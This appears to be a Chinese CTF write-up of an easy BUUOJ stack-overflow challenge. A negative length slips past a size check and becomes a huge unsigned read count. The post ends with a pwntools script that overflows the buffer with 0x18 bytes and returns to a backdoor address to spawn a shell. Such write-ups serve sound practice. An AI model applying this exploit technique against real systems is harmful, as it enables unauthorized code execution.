太久没做题了,因为想赶秋招不得不暂时放弃一些爱好。今天一摸题两眼一麻黑,忘的都差不多了。做一题简单题练练手吧。
64位程序,没有我最讨厌的PIE。 接着我们去IDA中查看下这题的逻辑:
主函数反编译后的结果。一开始我们看出什么门道,在题目中得知应该是一个栈溢出的题目,我在一看函数列表发现了一个后门函数:
那这题不就简单了吗。于是我迫不及待的在靶机上测试,在主函数中只有我们输入的数字不超过10就能得到执行read函数的机会。于是我把断点下到了scanf函数中。
我输入了一个3,接着我们继续调试到read函数中。
这个时候我就发现不对劲了。只能放入3个a。
我在回去看代码逻辑发现了问题。
如果这个数小于10就能执行read,但是read的第三个参数就会变成我们的传入的数。而我们需要溢出的数最起码也要0x18才能利用。那么岂不是构不成栈溢出了?然后我们再仔细看,nbytes这个变量从int类型转换成了unsigned int类型。意思就是说这里人为的创造了一个整数溢出。那么我们只要输入一个负数就能逃避if的检查。接着强转后抛弃符号位这个数会变得非常大。足够我们溢出。但是在调试的时候,我输入负数在read函数那里会直接跳过输入。(不知道什么原因)。我只好直接上代码了:
# -*- coding: utf-8 -*-
from pwn import*
#from LibcSearcher import*
p=remote('node4.buuoj.cn','29689')
p.sendline('-2')#我这填入-1不弹shell
payload='a'*0x18+p64(0x400726)
p.sendline(payload)
p.interactive()
得到flag: